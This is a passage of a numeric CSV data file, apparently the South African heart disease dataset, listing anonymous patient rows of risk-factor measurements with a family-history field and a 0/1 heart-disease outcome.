5.75,30.90,Present,46,29.01, 4.11,42,0 52,134, 2.50, 3.66,30.90,Absent,52,27.19, 23.66,49,0 53,152, 0.90, 9.12,30.23,Absent,56,28.64, 0.37,42,1 54,134, 8.08, 1.55,17.50,Present,56,22.65, 66.65,31,1 55,156, 3.00, 1.82,27.55,Absent,60,23.91, 54.00,53,0 56,152, 5.99, 7.99,32.48,Absent,45,26.57,100.32,48,0 57,118, 0.00, 2.99,16.17,Absent,49,23.83, 3.22,28,0 58,126, 5.10, 2.96,26.50,Absent,55,25.52, 12.34,38,1 59,103, 0.03, 4.21,18.96,Absent,48,22.94, 2.62,18,0 60,121, 0.80, 5.29,18.95,Present,47,22.51, 0.00,61,0 61,142, 0.28, 1.80,21.03,Absent,57,23.65, 2.93,33,0 62,138, 1.15, 5.09,27.87,Present,61,25.65, 2.34,44,0 63,152,10.10, 4.71,24.65,Present,65,26.21, 24.53,57,0 64,140, 0.45, 4.30,24.33,Absent,41,27.23, 10.08,38,0 65,130, 0.00, 1.82,10.45,Absent,57,22.07, 2.06,17,0 66,136, 7.36, 2.19,28.11,Present,61,25.00, 61.71,54,0 67,124, 4.82, 3.24,21.10,Present,48,28.49, 8.42,30,0 68,112, 0.41, 1.88,10.29,Absent,39,22.08, 20.98,27,0 69,118, 4.46, 7.27,29.13,Present,48,29.01, 11.11,33,0 70,122, 0.00, 3.37,16.10,Absent,67,21.06, 0.00,32,1 71,118, 0.00, 3.67,12.13,Absent,51,19.15, 0.60,15,0 72,130, 1.72, 2.66,10.38,Absent,68,17.81, 11.10,26,0 73,130, 5.60, 3.37,24.80,Absent,58,25.76, 43.20,36,0 74,126, 0.09, 5.03,13.27,Present,50,17.75, 4.63,20,0 75,128, 0.40, 6.17,26.35,Absent,64,27.86, 11.11,34,0 76,136, 0.00, 4.12,17.42,Absent,52,21.66, 12.86,40,0 77,134, 0.00, 5.90,30.84,Absent,49,29.16, 0.00,55,0 78,140, 0.60, 5.56,33.39,Present,58,27.19, 0.00,55,1 79,168, 4.50, 6.68,28.47,Absent,43,24.25, 24.38,56,1 80,108, 0.40, 5.91,22.92,Present,57,25.72, 72.00,39,0 81,114, 3.00, 7.04,22.64,Present,55,22.59, 0.00,45,1 82,140, 8.14, 4.93,42.49,Absent,53,45.72, 6.43,53,1 83,148, 4.80, 6.09,36.55,Present,63,25.44, 0.88,55,1 84,148,12.20, 3.79,34.15,Absent,57,26.38, 14.40,57,1 85,128, 0.00, 2.43,13.15,Present,63,20.75, 0.00,17,0 86,130, 0.56, 3.30,30.86,Absent,49,27.52, 33.33,45,0 87,126,10.50, 4.49,17.33,Absent,67,19.37, 0.00,49,1 88,140, 0.00, 5.08,27.33,Present,41,27.83, 1.25,38,0 89,126, 0.90, 5.64,17.78,Present,55,21.94, 0.00,41,0 90,122, 0.72, 4.04,32.38,Absent,34,28.34, 0.00,55,0 91,116, 1.03, 2.83,10.85,Absent,45,21.59, 1.75,21,0 92,120, 3.70, 4.02,39.66,Absent,61,30.57, 0.00,64,1 93,143, 0.46, 2.40,22.87,Absent,62,29.17, 15.43,29,0 94,118, 4.00, 3.95,18.96,Absent,54,25.15, 8.33,49,1 95,194, 1.70, 6.32,33.67,Absent,47,30.16, 0.19,56,0 96,134, 3.00, 4.37,23.07,Absent,56,20.54, 9.65,62,0 97,138, 2.16, 4.90,24.83,Present,39,26.06, 28.29,29,0 98,136, 0.00, 5.00,27.58,Present,49,27.59, 1.47,39,0 99,122, 3.20,11.32,35.36,Present,55,27.07, 0.00,51,1 100,164,12.00, 3.91,19.59,Absent,51,23.44, 19.75,39,0 101,136, 8.00, 7.85,23.81,Present,51,22.69, 2.78,50,0 102,166, 0.07, 4.03,29.29,Absent,53,28.37, 0.00,27,0 103,118, 0.00, 4.34,30.12,Present,52,32.18, 3.91,46,0 104,128, 0.42, 4.60,26.68,Absent,41,30.97, 10.33,31,0 105,118, 1.50, 5.38,25.84,Absent,64,28.63, 3.89,29,0 106,158, 3.60, 2.97,30.11,Absent,63,26.64,108.00,64,0 107,108, 1.50, 4.33,24.99,Absent,66,22.29, 21.60,61,1 108,170, 7.60, 5.50,37.83,Present,42,37.41, 6.17,54,1 109,118, 1.00, 5.76,22.10,Absent,62,23.48, 7.71,42,0 110,124, 0.00, 3.04,17.33,Absent,49,22.04, 0.00,18,0 111,114, 0.00, 8.01,21.64,Absent,66,25.51, 2.49,16,0 112,168, 9.00, 8.53,24.48,Present,69,26.18, 4.63,54,1 113,134, 2.00, 3.66,14.69,Absent,52,21.03, 2.06,37,0 114,174, 0.00, 8.46,35.10,Present,35,25.27, 0.00,61,1 115,116,31.20, 3.17,14.99,Absent,47,19.40, 49.06,59,1 116,128, 0.00,10.58,31.81,Present,46,28.41, 14.66,48,0 117,140, 4.50, 4.59,18.01,Absent,63,21.91, 22.09,32,1 118,154, 0.70, 5.91,25.00,Absent,13,20.60, 0.00,42,0 119,150, 3.50, 6.99,25.39,Present,50,23.35, 23.48,61,1 120,130, 0.00, 3.92,25.55,Absent,68,28.02, 0.68,27,0 121,128, 2.00, 6.13,21.31,Absent,66,22.86, 11.83,60,0 122,120, 1.40, 6.25,20.47,Absent,60,25.85, 8.51,28,0 123,120, 0.00, 5.01,26.13,Absent,64,26.21, 12.24,33,0 124,138, 4.50, 2.85,30.11,Absent,55,24.78, 24.89,56,1 125,153, 7.80, 3.96,25.73,Absent,54,25.91, 27.03,45,0 126,123, 8.60,11.17,35.28,Present,70,33.14, 0.00,59,1 127,148, 4.04, 3.99,20.69,Absent,60,27.78, 1.75,28,0 128,136, 3.96, 2.76,30.28,Present,50,34.42, 18.51,38,0 129,134, 8.80, 7.41,26.84,Absent,35,29.44, 29.52,60,1 130,152,12.18, 4.04,37.83,Present,63,34.57, 4.17,64,0 131,158,13.50, 5.04,30.79,Absent,54,24.79, 21.50,62,0 132,132, 2.00, 3.08,35.39,Absent,45,31.44, 79.82,58,1 133,134, 1.50, 3.73,21.53,Absent,41,24.70, 11.11,30,1 134,142, 7.44, 5.52,33.97,Absent,47,29.29, 24.27,54,0 135,134, 6.00, 3.30,28.45,Absent,65,26.09, 58.11,40,0 136,122, 4.18, 9.05,29.27,Present,44,24.05, 19.34,52,1 137,116, 2.70, 3.69,13.52,Absent,55,21.13, 18.51,32,0 138,128, 0.50, 3.70,12.81,Present,66,21.25, 22.73,28,0 139,120, 0.00, 3.68,12.24,Absent,51,20.52, 0.51,20,0 140,124, 0.00, 3.95,36.35,Present,59,32.83, 9.59,54,0 141,160,14.00, 5.90,37.12,Absent,58,33.87, 3.52,54,1 142,130, 2.78, 4.89, 9.39,Present,63,19.30, 17.47,25,1 143,128, 2.80, 5.53,14.29,Absent,64,24.97, 0.51,38,0 144,130, 4.50, 5.86,37.43,Absent,61,31.21, 32.30,58,0 145,109, 1.20, 6.14,29.26,Absent,47,24.72, 10.46,40,0 146,144, 0.00, 3.84,18.72,Absent,56,22.10, 4.80,40,0 147,118, 1.05, 3.16,12.98,Present,46,22.09, 16.35,31,0 148,136, 3.46, 6.38,32.25,Present,43,28.73, 3.13,43,1 149,136, 1.50, 6.06,26.54,Absent,54,29.38, 14.50,33,1 150,124,15.50, 5.05,24.06,Absent,46,23.22, 0.00,61,1 151,148, 6.00, 6.49,26.47,Absent,48,24.70, 0.00,55,0 152,128, 6.60, 3.58,20.71,Absent,55,24.15, 0.00,52,0 153,122, 0.28, 4.19,19.97,Absent,61,25.63, 0.00,24,0 154,108, 0.00, 2.74,11.17,Absent,53,22.61, 0.95,20,0 155,124, 3.04, 4.80,19.52,Present,60,21.78,147.19,41,1 156,138, 8.80, 3.12,22.41,Present,63,23.33,120.03,55,1 157,127, 0.00, 2.81,15.70,Absent,42,22.03, 1.03,17,0 158,174, 9.45, 5.13,35.54,Absent,55,30.71, 59.79,53,0 159,122, 0.00, 3.05,23.51,Absent,46,25.81, 0.00,38,0 160,144, 6.75, 5.45,29.81,Absent,53,25.62, 26.23,43,1 161,126, 1.80, 6.22,19.71,Absent,65,24.81, 0.69,31,0 162,208,27.40, 3.12,26.63,Absent,66,27.45, 33.07,62,1 163,138, 0.00, 2.68,17.04,Absent,42,22.16, 0.00,16,0 164,148, 0.00, 3.84,17.26,Absent,70,20.00, 0.00,21,0 165,122, 0.00, 3.08,16.30,Absent,43,22.13, 0.00,16,0 166,132, 7.00, 3.20,23.26,Absent,77,23.64, 23.14,49,0 167,110,12.16, 4.99,28.56,Absent,44,27.14, 21.60,55,1 168,160, 1.52, 8.12,29.30,Present,54,25.87, 12.86,43,1 169,126, 0.54, 4.39,21.13,Present,45,25.99, 0.00,25,0 170,162, 5.30, 7.95,33.58,Present,58,36.06, 8.23,48,0 171,194, 2.55, 6.89,33.88,Present,69,29.33, 0.00,41,0 172,118, 0.75, 2.58,20.25,Absent,59,24.46, 0.00,32,0 173,124, 0.00, 4.79,34.71,Absent,49,26.09, 9.26,47,0 174,160, 0.00, 2.42,34.46,Absent,48,29.83, 1.03,61,0 175,128, 0.00, 2.51,29.35,Present,53,22.05, 1.37,62,0 176,122, 4.00, 5.24,27.89,Present,45,26.52, 0.00,61,1 177,132, 2.00, 2.70,21.57,Present,50,27.95, 9.26,37,0 178,120, 0.00, 2.42,16.66,Absent,46,20.16, 0.00,17,0 179,128, 0.04, 8.22,28.17,Absent,65,26.24, 11.73,24,0 180,108,15.00, 4.91,34.65,Absent,41,27.96, 14.40,56,0 181,166, 0.00, 4.31,34.27,Absent,45,30.14, 13.27,56,0 182,152, 0.00, 6.06,41.05,Present,51,40.34, 0.00,51,0 183,170, 4.20, 4.67,35.45,Present,50,27.14, 7.92,60,1 184,156, 4.00, 2.05,19.48,Present,50,21.48, 27.77,39,1 185,116, 8.00, 6.73,28.81,Present,41,26.74, 40.94,48,1 186,122, 4.40, 3.18,11.59,Present,59,21.94, 0.00,33,1 187,150,20.00, 6.40,35.04,Absent,53,28.88, 8.33,63,0 188,129, 2.15, 5.17,27.57,Absent,52,25.42, 2.06,39,0 189,134, 4.80, 6.58,29.89,Present,55,24.73, 23.66,63,0 190,126, 0.00, 5.98,29.06,Present,56,25.39, 11.52,64,1 191,142, 0.00, 3.72,25.68,Absent,48,24.37, 5.25,40,1 192,128, 0.70, 4.90,37.42,Present,72,35.94, 3.09,49,1 193,102, 0.40, 3.41,17.22,Present,56,23.59, 2.06,39,1 194,130, 0.00, 4.89,25.98,Absent,72,30.42, 14.71,23,0 195,138, 0.05, 2.79,10.35,Absent,46,21.62, 0.00,18,0 196,138, 0.00, 1.96,11.82,Present,54,22.01, 8.13,21,0 197,128, 0.00, 3.09,20.57,Absent,54,25.63, 0.51,17,0 198,162, 2.92, 3.63,31.33,Absent,62,31.59, 18.51,42,0 199,160, 3.00, 9.19,26.47,Present,39,28.25, 14.40,54,1 200,148, 0.00, 4.66,24.39,Absent,50,25.26, 4.03,27,0 201,124, 0.16, 2.44,16.67,Absent,65,24.58, 74.91,23,0 202,136, 3.15, 4.37,20.22,Present,59,25.12, 47.16,31,1 203,134, 2.75, 5.51,26.17,Absent,57,29.87, 8.33,33,0 204,128, 0.73, 3.97,23.52,Absent,54,23.81, 19.20,64,0 205,122, 3.20, 3.59,22.49,Present,45,24.96, 36.17,58,0 206,152, 3.00, 4.64,31.29,Absent,41,29.34, 4.53,40,0 207,162, 0.00, 5.09,24.60,Present,64,26.71, 3.81,18,0 208,124, 4.00, 6.65,30.84,Present,54,28.40, 33.51,60,0 209,136, 5.80, 5.90,27.55,Absent,65,25.71, 14.40,59,0 210,136, 8.80, 4.26,32.03,Present,52,31.44, 34.35,60,0 211,134, 0.05, 8.03,27.95,Absent,48,26.88, 0.00,60,0 212,122, 1.00, 5.88,34.81,Present,69,31.27, 15.94,40,1 213,116, 3.00, 3.05,30.31,Absent,41,23.63, 0.86,44,0 214,132, 0.00, 0.98,21.39,Absent,62,26.75, 0.00,53,0 215,134, 0.00, 2.40,21.11,Absent,57,22.45, 1.37,18,0 216,160, 7.77, 8.07,34.80,Absent,64,31.15, 0.00,62,1 217,180, 0.52, 4.23,16.38,Absent,55,22.56, 14.77,45,1 218,124, 0.81, 6.16,11.61,Absent,35,21.47, 10.49,26,0 219,114, 0.00, 4.97, 9.69,Absent,26,22.60, 0.00,25,0 220,208, 7.40, 7.41,32.03,Absent,50,27.62, 7.85,57,0 221,138, 0.00, 3.14,12.00,Absent,54,20.28, 0.00,16,0 222,164, 0.50, 6.95,39.64,Present,47,41.76, 3.81,46,1 223,144, 2.40, 8.13,35.61,Absent,46,27.38, 13.37,60,0 224,136, 7.50, 7.39,28.04,Present,50,25.01, 0.00,45,1 225,132, 7.28, 3.52,12.33,Absent,60,19.48, 2.06,56,0 226,143, 5.04, 4.86,23.59,Absent,58,24.69, 18.72,42,0 227,112, 4.46, 7.18,26.25,Present,69,27.29, 0.00,32,1 228,134,10.00, 3.79,34.72,Absent,42,28.33, 28.80,52,1 229,138, 2.00, 5.11,31.40,Present,49,27.25, 2.06,64,1 230,188, 0.00, 5.47,32.44,Present,71,28.99, 7.41,50,1 231,110, 2.35, 3.36,26.72,Present,54,26.08,109.80,58,1 232,136,13.20, 7.18,35.95,Absent,48,29.19, 0.00,62,0 233,130, 1.75, 5.46,34.34,Absent,53,29.42, 0.00,58,1 234,122, 0.00, 3.76,24.59,Absent,56,24.36, 0.00,30,0 235,138, 0.00, 3.24,27.68,Absent,60,25.70, 88.66,29,0 236,130,18.00, 4.13,27.43,Absent,54,27.44, 0.00,51,1 237,126, 5.50, 3.78,34.15,Absent,55,28.85, 3.18,61,0 238,176, 5.76, 4.89,26.10,Present,46,27.30, 19.44,57,0 239,122, 0.00, 5.49,19.56,Absent,57,23.12, 14.02,27,0 240,124, 0.00, 3.23, 9.64,Absent,59,22.70, 0.00,16,0 241,140, 5.20, 3.58,29.26,Absent,70,27.29, 20.17,45,1 242,128, 6.00, 4.37,22.98,Present,50,26.01, 0.00,47,0 243,190, 4.18, 5.05,24.83,Absent,45,26.09, 82.85,41,0 244,144, 0.76,10.53,35.66,Absent,63,34.35, 0.00,55,1 245,126, 4.60, 7.40,31.99,Present,57,28.67, 0.37,60,1 246,128, 0.00, 2.63,23.88,Absent,45,21.59, 6.54,57,0 247,136, 0.40, 3.91,21.10,Present,63,22.30, 0.00,56,1 248,158, 4.00, 4.18,28.61,Present,42,25.11, 0.00,60,0 249,160, 0.60, 6.94,30.53,Absent,36,25.68, 1.42,64,0 250,124, 6.00, 5.21,33.02,Present,64,29.37, 7.61,58,1 251,158, 6.17, 8.12,30.75,Absent,46,27.84, 92.62,48,0 252,128, 0.00, 6.34,11.87,Absent,57,23.14, 0.00,17,0 253,166, 3.00, 3.82,26.75,Absent,45,20.86, 0.00,63,1 254,146, 7.50, 7.21,25.93,Present,55,22.51, 0.51,42,0 255,161, 9.00, 4.65,15.16,Present,58,23.76, 43.20,46,0 256,164,13.02, 6.26,29.38,Present,47,22.75, 37.03,54,1 257,146, 5.08, 7.03,27.41,Present,63,36.46, 24.48,37,1 258,142, 4.48, 3.57,19.75,Present,51,23.54, 3.29,49,0 259,138,12.00, 5.13,28.34,Absent,59,24.49, 32.81,58,1 260,154, 1.80, 7.13,34.04,Present,52,35.51, 39.36,44,0 261,118, 0.00, 2.39,12.13,Absent,49,18.46, 0.26,17,1 263,124, 0.61, 2.69,17.15,Present,61,22.76, 11.55,20,0 264,124, 1.04, 2.84,16.42,Present,46,20.17, 0.00,61,0 265,136, 5.00, 4.19,23.99,Present,68,27.80, 25.86,35,0 266,132, 9.90, 4.63,27.86,Present,46,23.39, 0.51,52,1 267,118, 0.12, 1.96,20.31,Absent,37,20.01, 2.42,18,0 268,118, 0.12, 4.16, 9.37,Absent,57,19.61, 0.00,17,0 269,134,12.00, 4.96,29.79,Absent,53,24.86, 8.23,57,0 270,114, 0.10, 3.95,15.89,Present,57,20.31, 17.14,16,0 271,136, 6.80, 7.84,30.74,Present,58,26.20, 23.66,45,1 272,130, 0.00, 4.16,39.43,Present,46,30.01, 0.00,55,1 273,136, 2.20, 4.16,38.02,Absent,65,37.24, 4.11,41,1 274,136, 1.36, 3.16,14.97,Present,56,24.98, 7.30,24,0 275,154, 4.20, 5.59,25.02,Absent,58,25.02, 1.54,43,0 276,108, 0.80, 2.47,17.53,Absent,47,22.18, 0.00,55,1 277,136, 8.80, 4.69,36.07,Present,38,26.56, 2.78,63,1 278,174, 2.02, 6.57,31.90,Present,50,28.75, 11.83,64,1 279,124, 4.25, 8.22,30.77,Absent,56,25.80, 0.00,43,0 280,114, 0.00, 2.63, 9.69,Absent,45,17.89, 0.00,16,0 281,118, 0.12, 3.26,12.26,Absent,55,22.65, 0.00,16,0 282,106, 1.08, 4.37,26.08,Absent,67,24.07, 17.74,28,1 283,146, 3.60, 3.51,22.67,Absent,51,22.29, 43.71,42,0 284,206, 0.00, 4.17,33.23,Absent,69,27.36, 6.17,50,1 285,134, 3.00, 3.17,17.91,Absent,35,26.37, 15.12,27,0 286,148,15.00, 4.98,36.94,Present,72,31.83, 66.27,41,1 287,126, 0.21, 3.95,15.11,Absent,61,22.17, 2.42,17,0 288,134, 0.00, 3.69,13.92,Absent,43,27.66, 0.00,19,0 289,134, 0.02, 2.80,18.84,Absent,45,24.82, 0.00,17,0 290,123, 0.05, 4.61,13.69,Absent,51,23.23, 2.78,16,0 291,112, 0.60, 5.28,25.71,Absent,55,27.02, 27.77,38,1 292,112, 0.00, 1.71,15.96,Absent,42,22.03, 3.50,16,0 293,101, 0.48, 7.26,13.00,Absent,50,19.82, 5.19,16,0 294,150, 0.18, 4.14,14.40,Absent,53,23.43, 7.71,44,0 295,170, 2.60, 7.22,28.69,Present,71,27.87, 37.65,56,1 296,134, 0.00, 5.63,29.12,Absent,68,32.33, 2.02,34,0 297,142, 0.00, 4.19,18.04,Absent,56,23.65, 20.78,42,1 298,132, 0.10, 3.28,10.73,Absent,73,20.42, 0.00,17,0 299,136, 0.00, 2.28,18.14,Absent,55,22.59, 0.00,17,0 300,132,12.00, 4.51,21.93,Absent,61,26.07, 64.80,46,1 301,166, 4.10, 4.00,34.30,Present,32,29.51, 8.23,53,0 302,138, 0.00, 3.96,24.70,Present,53,23.80, 0.00,45,0 303,138, 2.27, 6.41,29.07,Absent,58,30.22, 2.93,32,1 304,170, 0.00, 3.12,37.15,Absent,47,35.42, 0.00,53,0 305,128, 0.00, 8.41,28.82,Present,60,26.86, 0.00,59,1 306,136, 1.20, 2.78, 7.12,Absent,52,22.51, 3.41,27,0 307,128, 0.00, 3.22,26.55,Present,39,26.59, 16.71,49,0 308,150,14.40, 5.04,26.52,Present,60,28.84, 0.00,45,0 309,132, 8.40, 3.57,13.68,Absent,42,18.75, 15.43,59,1 310,142, 2.40, 2.55,23.89,Absent,54,26.09, 59.14,37,0 311,130, 0.05, 2.44,28.25,Present,67,30.86, 40.32,34,0 312,174, 3.50, 5.26,21.97,Present,36,22.04, 8.33,59,1 313,114, 9.60, 2.51,29.18,Absent,49,25.67, 40.63,46,0 314,162, 1.50, 2.46,19.39,Present,49,24.32, 0.00,59,1 315,174, 0.00, 3.27,35.40,Absent,58,37.71, 24.95,44,0 316,190, 5.15, 6.03,36.59,Absent,42,30.31, 72.00,50,0 317,154, 1.40, 1.72,18.86,Absent,58,22.67, 43.20,59,0 318,124, 0.00, 2.28,24.86,Present,50,22.24, 8.26,38,0 319,114, 1.20, 3.98,14.90,Absent,49,23.79, 25.82,26,0 320,168,11.40, 5.08,26.66,Present,56,27.04, 2.61,59,1 321,142, 3.72, 4.24,32.57,Absent,52,24.98, 7.61,51,0 322,154, 0.00, 4.81,28.11,Present,56,25.67, 75.77,59,0 323,146, 4.36, 4.31,18.44,Present,47,24.72, 10.80,38,0 324,166, 6.00, 3.02,29.30,Absent,35,24.38, 38.06,61,0 325,140, 8.60, 3.90,32.16,Present,52,28.51, 11.11,64,1 326,136, 1.70, 3.53,20.13,Absent,56,19.44, 14.40,55,0 327,156, 0.00, 3.47,21.10,Absent,73,28.40, 0.00,36,1 328,132, 0.00, 6.63,29.58,Present,37,29.41, 2.57,62,0 329,128, 0.00, 2.98,12.59,Absent,65,20.74, 2.06,19,0 330,106, 5.60, 3.20,12.30,Absent,49,20.29, 0.00,39,0 331,144, 0.40, 4.64,30.09,Absent,30,27.39, 0.74,55,0 332,154, 0.31, 2.33,16.48,Absent,33,24.00, 11.83,17,0 333,126, 3.10, 2.01,32.97,Present,56,28.63, 26.74,45,0 334,134, 6.40, 8.49,37.25,Present,56,28.94, 10.49,51,1 335,152,19.45, 4.22,29.81,Absent,28,23.95, 0.00,59,1 336,146, 1.35, 6.39,34.21,Absent,51,26.43, 0.00,59,1 337,162, 6.94, 4.55,33.36,Present,52,27.09, 32.06,43,0 338,130, 7.28, 3.56,23.29,Present,20,26.80, 51.87,58,1 339,138, 6.00, 7.24,37.05,Absent,38,28.69, 0.00,59,0 340,148, 0.00, 5.32,26.71,Present,52,32.21, 32.78,27,0 341,124, 4.20, 2.94,27.59,Absent,50,30.31, 85.06,30,0 342,118, 1.62, 9.01,21.70,Absent,59,25.89, 21.19,40,0 343,116, 4.28, 7.02,19.99,Present,68,23.31, 0.00,52,1 344,162, 6.30, 5.73,22.61,Present,46,20.43, 62.54,53,1 345,138, 0.87, 1.87,15.89,Absent,44,26.76, 42.99,31,0 346,137, 1.20, 3.14,23.87,Absent,66,24.13, 45.00,37,0 347,198, 0.52,11.89,27.68,Present,48,28.40, 78.99,26,1 348,154, 4.50, 4.75,23.52,Present,43,25.76, 0.00,53,1 349,128, 5.40, 2.36,12.98,Absent,51,18.36, 6.69,61,0 350,130, 0.08, 5.59,25.42,Present,50,24.98, 6.27,43,1 351,162, 5.60, 4.24,22.53,Absent,29,22.91, 5.66,60,0 352,120,10.50, 2.70,29.87,Present,54,24.50, 16.46,49,0 353,136, 3.99, 2.58,16.38,Present,53,22.41, 27.67,36,0 354,176, 1.20, 8.28,36.16,Present,42,27.81, 11.60,58,1 355,134,11.79, 4.01,26.57,Present,38,21.79, 38.88,61,1 356,122, 1.70, 5.28,32.23,Present,51,24.08, 0.00,54,0 357,134, 0.90, 3.18,23.66,Present,52,23.26, 27.36,58,1 358,134, 0.00, 2.43,22.24,Absent,52,26.49, 41.66,24,0 359,136, 6.60, 6.08,32.74,Absent,64,33.28, 2.72,49,0 360,132, 4.05, 5.15,26.51,Present,31,26.67, 16.30,50,0 361,152, 1.68, 3.58,25.43,Absent,50,27.03, 0.00,32,0 362,132,12.30, 5.96,32.79,Present,57,30.12, 21.50,62,1 363,124, 0.40, 3.67,25.76,Absent,43,28.08, 20.57,34,0 364,140, 4.20, 2.91,28.83,Present,43,24.70, 47.52,48,0 365,166, 0.60, 2.42,34.03,Present,53,26.96, 54.00,60,0 366,156, 3.02, 5.35,25.72,Present,53,25.22, 28.11,52,1 367,132, 0.72, 4.37,19.54,Absent,48,26.11, 49.37,28,0 368,150, 0.00, 4.99,27.73,Absent,57,30.92, 8.33,24,0 369,134, 0.12, 3.40,21.18,Present,33,26.27, 14.21,30,0 370,126, 3.40, 4.87,15.16,Present,65,22.01, 11.11,38,0 371,148, 0.50, 5.97,32.88,Absent,54,29.27, 6.43,42,0 372,148, 8.20, 7.75,34.46,Present,46,26.53, 6.04,64,1 373,132, 6.00, 5.97,25.73,Present,66,24.18,145.29,41,0 374,128, 1.60, 5.41,29.30,Absent,68,29.38, 23.97,32,0 375,128, 5.16, 4.90,31.35,Present,57,26.42, 0.00,64,0 376,140, 0.00, 2.40,27.89,Present,70,30.74,144.00,29,0 377,126, 0.00, 5.29,27.64,Absent,25,27.62, 2.06,45,0 378,114, 3.60, 4.16,22.58,Absent,60,24.49, 65.31,31,0 379,118, 1.25, 4.69,31.58,Present,52,27.16, 4.11,53,0 380,126, 0.96, 4.99,29.74,Absent,66,33.35, 58.32,38,0 381,154, 4.50, 4.68,39.97,Absent,61,33.17, 1.54,64,1 382,112, 1.44, 2.71,22.92,Absent,59,24.81, 0.00,52,0 383,140, 8.00, 4.42,33.15,Present,47,32.77, 66.86,44,0 384,140, 1.68,11.41,29.54,Present,74,30.75, 2.06,38,1 385,128, 2.60, 4.94,21.36,Absent,61,21.30, 0.00,31,0 386,126,19.60, 6.03,34.99,Absent,49,26.99, 55.89,44,0 387,160, 4.20, 6.76,37.99,Present,61,32.91, 3.09,54,1 388,144, 0.00, 4.17,29.63,Present,52,21.83, 0.00,59,0 389,148, 4.50,10.49,33.27,Absent,50,25.92, 2.06,53,1 390,146, 0.00, 4.92,18.53,Absent,57,24.20, 34.97,26,0 391,164, 5.60, 3.17,30.98,Present,44,25.99, 43.20,53,1 392,130, 0.54, 3.63,22.03,Present,69,24.34, 12.86,39,1 393,154, 2.40, 5.63,42.17,Present,59,35.07, 12.86,50,1 394,178, 0.95, 4.75,21.06,Absent,49,23.74, 24.69,61,0 395,180, 3.57, 3.57,36.10,Absent,36,26.70, 19.95,64,0 396,134,12.50, 2.73,39.35,Absent,48,35.58, 0.00,48,0 397,142, 0.00, 3.54,16.64,Absent,58,25.97, 8.36,27,0 398,162, 7.00, 7.67,34.34,Present,33,30.77, 0.00,62,0 399,218,11.20, 2.77,30.79,Absent,38,24.86, 90.93,48,1 400,126, 8.75, 6.06,32.72,Present,33,27.00, 62.43,55,1 401,126, 0.00, 3.57,26.01,Absent,61,26.30, 7.97,47,0 402,134, 6.10, 4.77,26.08,Absent,47,23.82, 1.03,49,0 403,132, 0.00, 4.17,36.57,Absent,57,30.61, 18.00,49,0 404,178, 5.50, 3.79,23.92,Present,45,21.26, 6.17,62,1 405,208, 5.04, 5.19,20.71,Present,52,25.12, 24.27,58,1 406,160, 1.15,10.19,39.71,Absent,31,31.65, 20.52,57,0 407,116, 2.38, 5.67,29.01,Present,54,27.26, 15.77,51,0 408,180,25.01, 3.70,38.11,Present,57,30.54, 0.00,61,1 409,200,19.20, 4.43,40.60,Present,55,32.04, 36.00,60,1 410,112, 4.20, 3.58,27.14,Absent,52,26.83, 2.06,40,0 411,120, 0.00, 3.10,26.97,Absent,41,24.80, 0.00,16,0 412,178,20.00, 9.78,33.55,Absent,37,27.29, 2.88,62,1 413,166, 0.80, 5.63,36.21,Absent,50,34.72, 28.80,60,0 414,164, 8.20,14.16,36.85,Absent,52,28.50, 17.02,55,1 415,216, 0.92, 2.66,19.85,Present,49,20.58, 0.51,63,1 416,146, 6.40, 5.62,33.05,Present,57,31.03, 0.74,46,0 417,134, 1.10, 3.54,20.41,Present,58,24.54, 39.91,39,1 418,158,16.00, 5.56,29.35,Absent,36,25.92, 58.32,60,0 419,176, 0.00, 3.14,31.04,Present,45,30.18, 4.63,45,0 420,132, 2.80, 4.79,20.47,Present,50,22.15, 11.73,48,0 421,126, 0.00, 4.55,29.18,Absent,48,24.94, 36.00,41,0 422,120, 5.50, 3.51,23.23,Absent,46,22.40, 90.31,43,0 423,174, 0.00, 3.86,21.73,Absent,42,23.37, 0.00,63,0 424,150,13.80, 5.10,29.45,Present,52,27.92, 77.76,55,1 425,176, 6.00, 3.98,17.20,Present,52,21.07, 4.11,61,1 426,142, 2.20, 3.29,22.70,Absent,44,23.66, 5.66,42,1 427,132, 0.00, 3.30,21.61,Absent,42,24.92, 32.61,33,0 428,142, 1.32, 7.63,29.98,Present,57,31.16, 72.93,33,0 429,146, 1.16, 2.28,34.53,Absent,50,28.71, 45.00,49,0 430,132, 7.20, 3.65,17.16,Present,56,23.25, 0.00,34,0 431,120, 0.00, 3.57,23.22,Absent,58,27.20, 0.00,32,0 432,118, 0.00, 3.89,15.96,Absent,65,20.18, 0.00,16,0 433,108, 0.00, 1.43,26.26,Absent,42,19.38, 0.00,16,0 434,136, 0.00, 4.00,19.06,Absent,40,21.94, 2.06,16,0 435,120, 0.00, 2.46,13.39,Absent,47,22.01, 0.51,18,0 436,132, 0.00, 3.55, 8.66,Present,61,18.50, 3.87,16,0 437,136, 0.00, 1.77,20.37,Absent,45,21.51, 2.06,16,0 438,138, 0.00, 1.86,18.35,Present,59,25.38, 6.51,17,0 439,138, 0.06, 4.15,20.66,Absent,49,22.59, 2.49,16,0 440,130, 1.22, 3.30,13.65,Absent,50,21.40, 3.81,31,0 441,130, 4.00, 2.40,17.42,Absent,60,22.05, 0.00,40,0 442,110, 0.00, 7.14,28.28,Absent,57,29.00, 0.00,32,0 443,120, 0.00, 3.98,13.19,Present,47,21.89, 0.00,16,0 444,166, 6.00, 8.80,37.89,Absent,39,28.70, 43.20,52,0 445,134, 0.57, 4.75,23.07,Absent,67,26.33, 0.00,37,0 446,142, 3.00, 3.69,25.10,Absent,60,30.08, 38.88,27,0 447,136, 2.80, 2.53, 9.28,Present,61,20.70, 4.55,25,0 448,142, 0.00, 4.32,25.22,Absent,47,28.92, 6.53,34,1 449,130, 0.00, 1.88,12.51,Present,52,20.28, 0.00,17,0 450,124, 1.80, 3.74,16.64,Present,42,22.26, 10.49,20,0 451,144, 4.00, 5.03,25.78,Present,57,27.55, 90.00,48,1 452,136, 1.81, 3.31, 6.74,Absent,63,19.57, 24.94,24,0 453,120, 0.00, 2.77,13.35,Absent,67,23.37, 1.03,18,0 454,154, 5.53, 3.20,28.81,Present,61,26.15, 42.79,42,0 455,124, 1.60, 7.22,39.68,Present,36,31.50, 0.00,51,1 456,146, 0.64, 4.82,28.02,Absent,60,28.11, 8.23,39,1 457,128, 2.24, 2.83,26.48,Absent,48,23.96, 47.42,27,1 458,170, 0.40, 4.11,42.06,Present,56,33.10, 2.06,57,0 459,214, 0.40, 5.98,31.72,Absent,64,28.45, 0.00,58,0 460,182, 4.20, 4.41,32.10,Absent,52,28.61, 18.72,52,1 461,108, 3.00, 1.59,15.23,Absent,40,20.09, 26.64,55,0 462,118, 5.40,11.61,30.79,Absent,64,27.35, 23.97,40,0 463,132, 0.00, 